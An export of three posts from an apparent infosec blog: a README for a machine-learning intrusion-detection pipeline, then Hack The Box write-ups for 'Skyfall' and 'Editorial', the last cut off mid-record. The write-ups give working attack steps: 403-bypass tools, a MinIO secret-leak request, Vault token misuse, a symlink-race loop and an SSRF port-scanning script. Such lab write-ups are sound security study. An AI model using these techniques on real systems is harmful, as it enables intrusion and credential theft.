[{"content":"SecureNet Project Overview SecureNet is a comprehensive network security project that leverages a Network Intrusion Detection System (NIDS) to enhance the security of networks. The project involves data preprocessing, feature selection, machine learning-based log classification, and a Streamlit dashboard for insightful visualization of key metrics.\nWorkflow 1. Data Collection and Preprocessing The project begins with the collection of network logs, which are sent to a Kafka topic named \u0026ldquo;logs\u0026rdquo; for initial preprocessing. The first Python file handles this task, preparing the data for feature selection.\n2. Feature Selection and Further Preprocessing A second Python file retrieves the preprocessed data from the \u0026ldquo;logs\u0026rdquo; Kafka topic, performs additional preprocessing, and sends the refined data to another Kafka topic named \u0026ldquo;logsprocessed.\u0026rdquo;\n3. Machine Learning-Based Log Classification The third Python file retrieves data from the \u0026ldquo;logsprocessed\u0026rdquo; Kafka topic. It passes the logs through a trained machine learning model to classify them into categories: Background, Normal, or Botnet. The results are then sent to the \u0026ldquo;logslabelled\u0026rdquo; Kafka topic.\n4. Data Storage with Apache Pinot Apache Pinot acts as a consumer, ingesting data from the \u0026ldquo;logslabelled\u0026rdquo; Kafka topic and storing it in a database. This ensures efficient storage and retrieval of labeled log data.\n5. Streamlit Dashboard The final component is a Streamlit dashboard that fetches data from Apache Pinot. The dashboard displays key metrics and insights derived from the labeled log data. This visualization aids in better defending against network attacks by providing a real-time overview of network security.\nGetting Started To set up and run the SecurNet project, follow these steps:\nClone the repository: ❯ git clone https://github.com/yourusername/SecurNet.git ❯ cd SecurNet Then download the files required from here, LINK and move it to the SecureNet folder. Model Training The preproccessing.py file cleans and makes the raw log data ready for training. It outputs prepro.csv file. This processed log data is used by MLmodeltraining.py file to train the model.\nFirst run the preprocessing.py file It will generate a csv file in folder named outprepro. Change the name of the csv file to prepro.csv Now run the MLmodeltraining.py file. This will save the model in Model folder ready to be used. Network Intrusion Detection Here we will simulate log data coming in realtime. I am reading a csv file of raw log data and sending it in chunks of 10 rows to Kafka. Flow of the log data can be seen below: Running the project, follow the steps below, NOTE: Run all the individual commands in a separate terminal.\nRun Apache zookeeper and kafka in different terminals one after the other by following commnads: ❯ zookeeper-server-start /opt/homebrew/etc/zookeeper/zoo.cfg ❯ kafka-server-start /opt/homebrew/etc/kafka/server.properties Create Kafka topics, \u0026ldquo;logs\u0026rdquo;, \u0026ldquo;logsprocessed\u0026rdquo; and logslabelled\u0026quot; ❯ kafka-topics --create --topic logs --bootstrap-server localhost:9092 ❯ kafka-topics --create --topic logsprocessed --bootstrap-server localhost:9092 ❯ kafka-topics --create --topic logslabelled --bootstrap-server localhost:9092 Start Apache Pinot Controller, Broker and Server ❯ pinot-admin StartController -zkAddress localhost:2181 -clusterName PinotCluster -controllerPort 9001 ❯ pinot-admin StartBroker -zkAddress localhost:2181 -clusterName PinotCluster -brokerPort 7001 ❯ pinot-admin StartServer -zkAddress localhost:2181 -clusterName PinotCluster -serverPort 8001 -serverAdminPort 8011 Send the table schema and table config to Apache Pinot. ❯ pinot-admin AddTable \\ -schemaFile files_config/transcript_schema.json \\ -tableConfigFile files_config/transcript_table_realtime.json \\ -controllerPort 9001 -exec Start 0.py, 1.py, 2.py in three separate terminals one after the other\nOpen the apache pinot dashboard to see data ingesting \u0026mdash;-\u0026gt; Link\nRun streamlit app to see the dashboard\n❯ streamlit run app.py Screenshot This is how your dashboard will look like\u0026hellip;😁 ","date":"2024-06-16T14:55:54+05:30","permalink":"https://crippledmind-infosec-journal.netlify.app/posts/projects/securenet/","title":"SecureNet"},{"content":"Introduction Machine Name: Skyfall IP Address: 10.10.11.254 Difficulty: Insane Information Gathering I started scan with Rustscan. There were only two ports open.\n❯ rustscan --ulimit 5000 -r 1-65535 -a $IP -- -T4 -Pn -A | tee -a scan.txt PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCVqvI8vGs8EIUAAUiRze8kfKmYh9ETTUei3zRd1wWWLRBjSm+soBLfclIUP69cNtQOa961nyt2/BOwuR35cLR4= | 256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINk0VgEkDNZoIJwcG5LEVZDZkEeSRHLBmAOtd/pduzRW 80/tcp open http syn-ack nginx 1.18.0 (Ubuntu) |_http-title: Skyfall - Introducing Sky Storage! | http-methods: |_ Supported Methods: GET HEAD |_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34 |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Port 80 When I go to the website, looking around found the possible domain given in the users section. I also noted down the users name in a list in case brute forcing has to be done.\njbond askyy btanner Now looking again, I found a contact form. I tried exploiting it, but the form does not do anything useful. When submit is clicked, it just gets the home page with the details in query parameters added.\nAnother endpoint try our demo seems interesting. This opens up a subdomain demo. Added it to /etc/hosts. A login page which gives default creds guest\\guest to login.\nUpon login, I could see many attack points. There were forms, file upload and url query. I tried for xss to steal sessions but none of them worked. I tried for malicious file upload. But i was not able to make the server run that, it was just downloading it. There were two other paths, beta and metrics. But both of them gave 4** error.\nNow since this is an insane box, I went on to try again on those forms, file upload etc. I found out that the app is made from flask. So tried even with that using hacktricks.\nBut after 2-3 hours, I gave up!!! 🫠🫠\nAfter some needed break from this, thinking and remembering all info I know of enumeration, I luckily remembered that, sometimes restricted paths can be bypassed with methods like HTTP Methods fuzzing, different letter casings, different Protocol Version etc. All these can be found in Bypass hacktricks. I tried some of the methods manually but nothing was working, there were automated tools given in the references. Yessss!!! It was a success. One of the tools:Bypass 4xx errors found the bypass by appending %0A. Another tool nomore403 I found by searching was also successful in finding this.\n❯ nomore403 -f ~/Pentesting/nomore403/payloads/ -H \u0026#39;Cookie: session=\u0026lt;token_value\u0026gt;\u0026#39; -u http://demo.skyfall.htb/metrics ❯ ./byp4xx --all -xV -xH -xUA -xD -xS -xM -xX -H \u0026#39;Cookie: session=\u0026lt;token_value\u0026gt;\u0026#39; http://demo.skyfall.htb/metrics Bypassing the page, I land in a frontend for minio metrics. Looking at the entries, I found several useful information. I added the subdomain to /etc/hosts. Going to the path, I found minio metrics.\nMinIO is a high-performance, S3 compatible object store. It is built for large scale AI/ML, data lake and database workloads. It is software-defined and runs on any cloud or on-premises infrastructure. MinIO is dual-licensed under open source GNU AGPL v3 and a commercial enterprise license. So now to try to read the storage, I searched online for a potential vulnerability for this version to have the necessary permissions, alas!!! I found one Minio vuln🥳. According to the post, a post request to the endpoint /minio/bootstrap/v1/verify would return all the environment variables of minio. I did a curl request and got the data. 🎉\n❯ curl http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify -d \u0026#39;\u0026#39; {\u0026#34;MinioEndpoints\u0026#34;:[{\u0026#34;Legacy\u0026#34;:false,\u0026#34;SetCount\u0026#34;:1,\u0026#34;DrivesPerSet\u0026#34;:4,\u0026#34;Endpoints\u0026#34;:[{\u0026#34;Scheme\u0026#34;:\u0026#34;http\u0026#34;,\u0026#34;Opaque\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;User\u0026#34;:null,\u0026#34;Host\u0026#34;:\u0026#34;minio-node1:9000\u0026#34;,\u0026#34;Path\u0026#34;:\u0026#34;/data1\u0026#34;,\u0026#34;RawPath\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;OmitHost\u0026#34;:false,\u0026#34;ForceQuery\u0026#34;:false,\u0026#34;RawQuery\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;Fragment\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;RawFragment\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;IsLocal\u0026#34;:false},{\u0026#34;Scheme\u0026#34;:\u0026#34;http\u0026#34;,\u0026#34;Opaque\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;User\u0026#34;:null,\u0026#34;Host\u0026#34;:\u0026#34;minio-node2:9000\u0026#34;,\u0026#34;Path\u0026#34;:\u0026#34;/data1\u0026#34;,\u0026#34;RawPath\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;OmitHost\u0026#34;:false,\u0026#34;ForceQuery\u0026#34;:false,\u0026#34;RawQuery\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;Fragment\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;RawFragment\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;IsLocal\u0026#34;:true},{\u0026#34;Scheme\u0026#34;:\u0026#34;http\u0026#34;,\u0026#34;Opaque\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;User\u0026#34;:null,\u0026#34;Host\u0026#34;:\u0026#34;minio-node1:9000\u0026#34;,\u0026#34;Path\u0026#34;:\u0026#34;/data2\u0026#34;,\u0026#34;RawPath\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;OmitHost\u0026#34;:false,\u0026#34;ForceQuery\u0026#34;:false,\u0026#34;RawQuery\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;Fragment\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;RawFragment\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;IsLocal\u0026#34;:false},{\u0026#34;Scheme\u0026#34;:\u0026#34;http\u0026#34;,\u0026#34;Opaque\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;User\u0026#34;:null,\u0026#34;Host\u0026#34;:\u0026#34;minio-node2:9000\u0026#34;,\u0026#34;Path\u0026#34;:\u0026#34;/data2\u0026#34;,\u0026#34;RawPath\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;OmitHost\u0026#34;:false,\u0026#34;ForceQuery\u0026#34;:false,\u0026#34;RawQuery\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;Fragment\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;RawFragment\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;IsLocal\u0026#34;:true}],\u0026#34;CmdLine\u0026#34;:\u0026#34;http://minio-node{1...2}/data{1...2}\u0026#34;,\u0026#34;Platform\u0026#34;:\u0026#34;OS: linux | Arch: amd64\u0026#34;}],\u0026#34;MinioEnv\u0026#34;:{\u0026#34;MINIO_ACCESS_KEY_FILE\u0026#34;:\u0026#34;access_key\u0026#34;,\u0026#34;MINIO_BROWSER\u0026#34;:\u0026#34;off\u0026#34;,\u0026#34;MINIO_CONFIG_ENV_FILE\u0026#34;:\u0026#34;config.env\u0026#34;,\u0026#34;MINIO_KMS_SECRET_KEY_FILE\u0026#34;:\u0026#34;kms_master_key\u0026#34;,\u0026#34;MINIO_PROMETHEUS_AUTH_TYPE\u0026#34;:\u0026#34;public\u0026#34;,\u0026#34;MINIO_ROOT_PASSWORD\u0026#34;:\u0026#34;Gkpjk********3oRx0\u0026#34;,\u0026#34;MINIO_ROOT_PASSWORD_FILE\u0026#34;:\u0026#34;secret_key\u0026#34;,\u0026#34;MINIO_ROOT_USER\u0026#34;:\u0026#34;5GrE1********ZaIww\u0026#34;,\u0026#34;MINIO_ROOT_USER_FILE\u0026#34;:\u0026#34;access_key\u0026#34;,\u0026#34;MINIO_SECRET_KEY_FILE\u0026#34;:\u0026#34;secret_key\u0026#34;,\u0026#34;MINIO_UPDATE\u0026#34;:\u0026#34;off\u0026#34;,\u0026#34;MINIO_UPDATE_MINISIGN_PUBKEY\u0026#34;:\u0026#34;RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav\u0026#34;}} Looking at the Minio Docs, I found a way to use these creds. To interact with the storage a cli tool mc is also available. To connect to the storage we need to add an alias with the root user and root password.\n❯ mc alias set ALIAS HOSTNAME ACCESS_KEY SECRET_KEY Now using mc alias list, i can see the endpoint is now accessible. Now mc has very similar commands to unix system to interact with files. I started enumerating the storage. Now in the docs I saw a version flag also which shows that similar to github, versioning of files might be done.\nSo I listed all the versions of available files in storage. ❯ mc get --vid \u0026lt;ver_no\u0026gt; juicy/askyy/home_backup.tar.gz . Going through all the files, every version, I found some juicy info. Some variable entries in the .bashrc file, and a terraform-generator.\nexport VAULT_API_ADDR=\u0026#34;http://********.skyfall.htb\u0026#34; export VAULT_TOKEN=\u0026#34;hvs.CAESIJlU**********NMnZhakZDRlZGdGVzN09xYkxTQVE\u0026#34; Looking on google for what both might say lead me to HashiCorp.\nVault: Secure, store, and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets, and other sensitive data using a UI, CLI, or HTTP API. So now, time to enumerate the vault. I found out that there is a CLI tool also available to interact with the vault. Looking at the help menu, noticed something, 😁😁 Now since, there was only port 22 left to be enumerated, I looked for the documentation to use this vault ssh. The Vault SSH secrets engine provides secure authentication and authorization for access to machines via the SSH protocol. The Vault SSH secrets engine helps manage access to machine infrastructure, providing several ways to issue SSH credentials. ===\u003e Meaning instead of password, I can use the OTP to login. I added the earlier found variables to my .bashrc and sourced it. To test, I used the connection, I used the status argument, but met with an error, which also gave me a fix to correct the error🫠. Now running the vault status command again, I could see the information.\n❯ vault token lookup Key Value --- ----- accessor rByv1coOBC9ITZpzqbDtTUm8 creation_time 1699563963 creation_ttl 768h display_name token-askyy entity_id n/a expire_time 2073-10-27T21:06:03.043964076Z explicit_max_ttl 0s id hvs.******************zN09xYkxTQVE issue_time 2023-11-09T21:06:03.445155372Z last_renewal 2023-11-20T16:43:24.043964166Z last_renewal_time 1700498604 meta \u0026lt;nil\u0026gt; num_uses 0 orphan true path auth/token/create policies [default developers] renewable true ttl 432193h34m22s type service The token belongs to askyy user, so will be the ssh session then. 🙌 Looking at various articles: help-one help-two on how to interact with the vault. I found\n❯ vault path-help ssh/ ## DESCRIPTION The SSH backend generates credentials allowing clients to establish SSH connections to remote hosts. There are two variants of the backend, which generate different types of credentials: One-Time Passwords (OTPs) and certificate authority. The desired behavior is role-specific and chosen at role creation time with the \u0026#39;key_type\u0026#39; parameter. ## PATHS ^roles/(?P\u0026lt;role\u0026gt;\\w(([\\w-.@]+)?\\w)?)$ Manage the \u0026#39;roles\u0026#39; that can be created with this backend. ^roles/?$ Manage the \u0026#39;roles\u0026#39; that can be created with this backend. ❯ vault token capabilities ssh/ list ❯ vault kv list ssh/roles Keys ---- admin_otp_key_role dev_otp_key_role Now looking at the output, I can see that out of the two ways of ssh, it uses the OTP method. The help-two shows two flags to be passed, -role and -mode. I have values for both. The -mode is otp, now out of the two values I have of -role, only the dev_otp_key_role worked and got the user askyy shell. 😁😁 Privilege Escalation I looked now ways to privesc. Running sudo -l gave me that. Now there was no read/write access to the concerned files.\nI tried command injection, but since a regex is being used, I was not able to bypass it. While running with -v option, I noticed some high privileged token printed as ******, Now adding the -d flag, the token is stored in a debug.log file in the same directory from where the script was run. But it was created with only access to root user. I tried creating the file beforehand, making it world-readable/writable, but no whenever I run the script, it removes the file if exists, then creates a new file with only root readable, then writes to it.\nNext I tried by creating a symlink to another file hoping that the linked file will be written which I control then I can read it. But that linked file only got changed🫠🫠 I tried many different methods from here on. Tried different variations of the symlink method. I looked for sudo exploits. Tried making the script write to /dev/tcp, /dev/shm, /tmp, in every case either the file was not created or not readable. Even linpeas.sh did not gave me anything userful.\nNow I got fed up and stopped this shit. 🙃🙃🙃\nAfter 9 days 🥸🥸🥸 I started searching for various privesc methods online. Nothing interesting. Now I thought why not ask chatgpt(glad I did🫠). It gave me several methods that I had already tried, even the symlink one. After a lot of back and fourth, it was insisting me to try the symlink method. So I searched on google for potential exploits. I got this symbolic race attack article, which was the needed path for privesc. Wikipedia: A symlink race is a kind of software security vulnerability that results from a program creating files in an insecure manner.[1] A malicious user can create a symbolic link to a file not otherwise accessible to them. When the privileged program creates a file of the same name as the symbolic link, it actually creates the linked-to file instead, possibly inserting content desired by the malicious user (see example below), or even provided by the malicious user (as input to the program). It is called a \"race\" because in its typical manifestation, the program checks to see if a file by that name already exists; if it does not exist, the program then creates the file. An attacker must create the link in the interval between the check and when the file is created. So in this case, what I have to do is time the symlinking of debug.log file to a file controlled by me, my_log exactly between the script checking the file\u0026rsquo;s presence and creating it. So to do this, I need to\nCreate a script that will run continuously in a loop to do two things, remove the debug.log file create a symlink from debug.log file to my_log In another terminal, keep on running the sudo script and checking if the my_log has been written with the contents of debug.log. I created a toot directory in /home/askyy. I created a my_log file world readable/writable permissions. Then the following script, and executed it.\n#!/bin/bash while true; do rm -f /home/askyy/tmp/debug.log ln -s /home/askyy/tmp/my_log /home/askyy/tmp/debug.log done I got another ssh session in another terminal. Then kept on executing the following code to check the successful timing of the attack.\naskyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d; ls -la After some 10-11 tries, I saw the contents had bee written to my_log file. s So it had another vault token, obviously after all this, it should be the root user\u0026rsquo;s token only 🫠🫠🫠 I replaced the earlier token in my .bashrc with this new one. Then using the admin_otp_key_role, was able to login to root user\u0026rsquo;s ssh session. Mitigation Techniques Restrict Access to Sensitive Pages:\nEnsure that access to sensitive pages such as MinIO metrics is properly restricted. Use proper authentication and authorization mechanisms to prevent unauthorized access. Implement IP whitelisting and network segmentation to limit access to administrative interfaces. Secure Credentials and Sensitive Information:\nAvoid storing sensitive information, such as credentials and tokens, in publicly accessible places or environment variables. Use secrets management solutions like HashiCorp Vault to securely store and access credentials. Regularly audit and rotate credentials to minimize the impact of any potential disclosure. Proper File Permissions:\nEnsure that sensitive files, such as logs and configuration files, have appropriate permissions set to prevent unauthorized access. Use least privilege principle when setting file permissions. Regularly audit file permissions and access controls to ensure compliance with security policies. Implement Security Controls for Command Line Tools:\nRestrict the use of command line tools like minio mc and HashiCorp Vault CLI to authorized users only. Ensure that only necessary commands are available to users. Implement logging and monitoring for the use of such tools to detect and respond to any unauthorized or suspicious activity. Mitigate Symlink Race Vulnerabilities:\nValidate and sanitize all inputs and file paths to prevent symlink attacks. Ensure that temporary files and directories are created in secure locations. Use secure programming practices to avoid race conditions and ensure atomic operations when dealing with file system operations. Monitor and Respond to Anomalous Activities:\nImplement continuous monitoring and alerting for unusual activities, such as unauthorized access attempts, sensitive file modifications, and unexpected command executions. Have an incident response plan in place to quickly respond to and mitigate any detected security incidents. Conclusion The Skyfall HTB box showcased several critical vulnerabilities that could lead to a full system compromise. By identifying and exploiting weaknesses in access control, sensitive information disclosure, and file permission configurations, an attacker could escalate their privileges and gain root access. To prevent such security breaches, it is crucial to implement comprehensive security measures, including proper access controls, secure storage and handling of sensitive information, regular auditing of file permissions, and monitoring of system activities.\nReferences https://github.com/RustScan/RustScan https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/403-and-401-bypasses https://github.com/lobuhi/byp4xx https://github.com/devploit/nomore403 https://vulners.com/nuclei/NUCLEI:CVE-2023-28432 https://min.io/docs/minio/linux/reference/minio-mc.html https://min.io/docs/minio/linux/reference/minio-mc.html?ref=docs https://developer.hashicorp.com/vault https://developer.hashicorp.com/vault/install https://irezyigit.medium.com/vault-part9-deeper-look-into-tokens-72da0dceb5ef https://developer.hashicorp.com/vault/docs/secrets/ssh/one-time-ssh-passwords https://github.com/Sn1r/Forbidden-Buster ","date":"2024-07-08T22:53:43+05:30","permalink":"https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/","title":"Skyfall"},{"content":"Introduction Machine Name: Editorial IP Address: 10.10.11.20 Difficulty: Easy Information Gathering Running the initial scan of ports show port 22 and port 80 open.\n\u0026gt; rustscan --ulimit 5000 -r 1-65535 -a $IP -- -A -T4 -Pn | tee -a scan.txt PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMApl7gtas1JLYVJ1BwP3Kpc6oXk6sp2JyCHM37ULGN+DRZ4kw2BBqO/yozkui+j1Yma1wnYsxv0oVYhjGeJavM= | 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXtxiT4ZZTGZX4222Zer7f/kAWwdCWM/rGzRrGVZhYx 80/tcp open http syn-ack nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://editorial.htb | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Port 80 To get the domain name running in this port, i did a curl request and added the domain to /etc/hosts\n❯ curl -v http://10.10.11.20/ * Trying 10.10.11.20:80... * Connected to 10.10.11.20 (10.10.11.20) port 80 \u0026gt; GET / HTTP/1.1 \u0026gt; Host: 10.10.11.20 \u0026gt; User-Agent: curl/8.6.0 \u0026gt; Accept: */* \u0026gt; \u0026lt; HTTP/1.1 301 Moved Permanently \u0026lt; Server: nginx/1.18.0 (Ubuntu) \u0026lt; Date: Mon, 01 Jul 2024 05:29:10 GMT \u0026lt; Content-Type: text/html \u0026lt; Content-Length: 178 \u0026lt; Connection: keep-alive \u0026lt; Location: http://editorial.htb \u0026gt; echo \u0026#39;10.10.11.20 editorial.htb\u0026#39; | sudo tee -a /etc/hosts The webpage is about books. Looking for potential entrypoints, the publish with us page gives us one. We have the option to give our content to be published. This is also accepting an image to be used as cover photo. We have two options, by uploading from local folder or by providing a url. This include of external url screams SSRF. To test it out, I started a simple HTTP Server with python in a directory containing a test.jpg file.\n\u0026gt; python3 -m http.server 80 I gave the url, and clicked preview, I got a hit in my terminal and the profile picture was updated.\n❯ python3 -m http.server 80 Serving HTTP on :: port 80 (http://[::]:80/) ... ::ffff:10.10.11.20 - - [01/Jul/2024 11:10:46] \u0026#34;GET /test.jpeg HTTP/1.1\u0026#34; 200 - ::ffff:10.10.11.20 - - [01/Jul/2024 11:12:15] \u0026#34;GET /test.jpeg HTTP/1.1\u0026#34; 200 - I opened Caido to look at the preview carefully. I captured the requests. There are two endpoints that are working when preview button is clicked.\n/upload-cover: A post request is sent to this endpoint first to upload the file content. This endpoint then saves it to a file, and returns the relative url to the uploaded file. /static/uploads/[file_name]: This endpoint fetches the file data. The uploaded file is removed very quickly, probably in 1 min. So if you request the same file again, you will get a 404 Error Now I tried if I can upload any arbitrary file. I made a test file with the text Hello Mommy!!!, started the python server, requested the file through preview endpoint, and looked in the static endpoint in Caido. 🎉 Got the test file contents in the response. So this shows that this can read and show anything - SSRF. You can even give http://127.0.0.1/ and it will return the home page html content. 😂\nSSRF Exploitation First thing to do is always find if any other ports are running anything internally that are not public. So to do this manually is not possible. So i made a python script that will run through all the ports from 1 to 65535 to find the internal services.\nimport requests import concurrent.futures import sys # Function to send POST request and get the relative URL def send_post_request(port): url = \u0026#34;http://editorial.htb/upload-cover\u0026#34; headers = { \u0026#34;Host\u0026#34;: \u0026#34;editorial.htb\u0026#34;, \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36\u0026#34;, \u0026#34;Content-Type\u0026#34;: \u0026#34;multipart/form-data; boundary=----WebKitFormBoundaryLcrnsJGUaxiPah2I\u0026#34;, \u0026#34;Accept\u0026#34;: \u0026#34;*/*\u0026#34;, \u0026#34;Origin\u0026#34;: \u0026#34;http://editorial.htb\u0026#34;, \u0026#34;Referer\u0026#34;: \u0026#34;http://editorial.htb/upload\u0026#34;, \u0026#34;Accept-Encoding\u0026#34;: \u0026#34;gzip, deflate\u0026#34;, \u0026#34;Accept-Language\u0026#34;: \u0026#34;en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7\u0026#34;, \u0026#34;dnt\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;sec-gpc\u0026#34;: \u0026#34;1\u0026#34; } data = f\u0026#34;\u0026#34;\u0026#34;------WebKitFormBoundaryLcrnsJGUaxiPah2I Content-Disposition: form-data; name=\u0026#34;bookurl\u0026#34; http://127.0.0.1:{port}/ ------WebKitFormBoundaryLcrnsJGUaxiPah2I Content-Disposition: form-data; name=\u0026#34;bookfile\u0026#34;; filename=\u0026#34;\u0026#34; Content-Type: application/octet-stream ------WebKitFormBoundaryLcrnsJGUaxiPah2I--\u0026#34;\u0026#34;\u0026#34; response = requests.post(url, headers=headers, data=data) if response.status_code == 200: # Extract the relative URL from the response relative_url = response.text.strip() return port, relative_url return port, None # Function to send GET request based on the relative URL def send_get_request(port, relative_url): if relative_url: url = f\u0026#34;http://editorial.htb/{relative_url}\u0026#34; headers = { \u0026#34;Host\u0026#34;: \u0026#34;editorial.htb\u0026#34;, \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36\u0026#34;, \u0026#34;Accept\u0026#34;: \u0026#34;image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\u0026#34;, \u0026#34;Referer\u0026#34;: \u0026#34;http://editorial.htb/\u0026#34;, \u0026#34;Accept-Encoding\u0026#34;: \u0026#34;gzip, deflate\u0026#34;, \u0026#34;Accept-Language\u0026#34;: \u0026#34;en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7\u0026#34;, \u0026#34;dnt\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;sec-gpc\u0026#34;: \u0026#34;1\u0026#34; } response = requests.get(url, headers=headers) return port, response.text return port, None # Function to process each payload def process_payload(port): port, relative_url = send_post_request(port) if relative_url and not (relative_url.endswith(\u0026#34;.png\u0026#34;) or relative_url.endswith(\u0026#34;.jpeg\u0026#34;) or relative_url.endswith(\u0026#34;.jpg\u0026#34;)): port, output = send_get_request(port, relative_url) return port, relative_url, output return port, relative_url, None # Main function to read payloads and execute the requests concurrently def main(): # Read ports from payload.txt with open(sys.argv[1].strip(), \u0026#39;r\u0026#39;) as file: ports = [line.strip() for line in file.readlines()] # Use ThreadPoolExecutor to handle concurrent requests with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(process_payload, port) for port in ports] for future in futures: try: port, post_response, get_response = future.result() # print(f\u0026#34;Payload used: http://127.0.0.1:{port}/\u0026#34;) # print(f\u0026#34;Post Response: {post_response}\u0026#34;) if get_response is not None: print(f\u0026#34;Payload used: http://127.0.0.1:{port}/\u0026#34;) print(f\u0026#34;Get Response: {get_response}\u0026#34;) except Exception as e: print(f\u0026#34;Error: {e}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() After 2-3 mins, I got a hit on port **** of an API endpoint.\n❯ python ssrfexploit.py payloads.txt Payload used: http://127.0.0.1:****/ Get Response: {\u0026#34;messages\u0026#34;:[{\u0026#34;promotions\u0026#34;:{\u0026#34;description\u0026#34;:\u0026#34;Retrieve a list of all the promotions in our library.\u0026#34;,\u0026#34;endpoint\u0026#34;:\u0026#34;/api/latest/metadata/messages/promos\u0026#34;,\u0026#34;methods\u0026#34;:\u0026#34;GET\u0026#34;}},{\u0026#34;coupons\u0026#34;:{\u0026#34;description\u0026#34;:\u0026#34;Retrieve the list of coupons to use in our library.\u0026#34;,\u0026#34;endpoint\u0026#34;:\u0026#34;/api/latest/metadata/messages/coupons\u0026#34;,\u0026#34;methods\u0026#34;:\u0026#34;GET\u0026#34;}},{\u0026#34;new_authors\u0026#34;:{\u0026#34;description\u0026#34;:\u0026#34;Retrieve the welcome message sended to our new authors.\u0026#34;,\u0026#34;endpoint\u0026#34;:\u0026#34;/api/latest/metadata/messages/authors\u0026#34;,\u0026#34;methods\u0026#34;:\u0026#34;GET\u0026#34;}},{\u0026#34;platform_use\u0026#34;:{\u0026#34;description\u0026#34;:\u0026#34;Retrieve examples of how to use the platform.\u0026#34;,\u0026#34;endpoint\u0026#34;:\u0026#34;/api/latest/metadata/messages/how_to_use_platform\u0026#34;,\u0026#34;methods\u0026#34;:\u0026#34;GET\u0026#34;}}],\u0026#34;version\u0026#34;:[{\u0026#34;changelog\u0026#34;:{\u0026#34;description\u0026#34;:\u0026#34;Retrieve a list of all the versions and updates of the api.\u0026#34;,\u0026#34;endpoint\u0026#34;:\u0026#34;/api/latest/metadata/changelog\u0026#34;,\u0026#34;methods\u0026#34;:\u0026#34;GET\u0026#34;}},{\u0026#34;latest\u0026#34;:{\u0026#34;description\u0026#34;:\u0026#34;Retrieve the last version of api.\u0026#34;,\u0026#34;endpoint\u0026#34;:\u0026#34;/api/latest/metadata\u0026#34;,\u0026#34;methods\u0026#34;:\u0026#34;GET\u0026#34;}}]} This reveals serveral api endpoints.\n{ \u0026#34;messages\u0026#34;: [ { \u0026#34;promotions\u0026#34;: { \u0026#34;description\u0026#34;: \u0026#34;Retrieve a list of all the promotions in our library.\u0026#34;, \u0026#34;endpoint\u0026#34;: \u0026#34;/api/latest/metadata/messages/promos\u0026#34;, \u0026#34;methods\u0026#34;: \u0026#34;GET\u0026#34; } }, { \u0026#34;coupons\u0026#34;: { \u0026#34;description\u0026#34;: \u0026#34;Retrieve the list of coupons to use in our library.\u0026#34;, \u0026#34;endpoint\u0026#34;: \u0026#34;/api/latest/metadata/messages/coupons\u0026#34;, \u0026#34;methods\u0026#34;: \u0026#34;GET\u0026#34; } }, { \u0026#34;new_authors\u0026#34;: { \u0026#34;description\u0026#34;: \u0026#34;Retrieve the welcome message sended to our new authors.\u0026#34;, 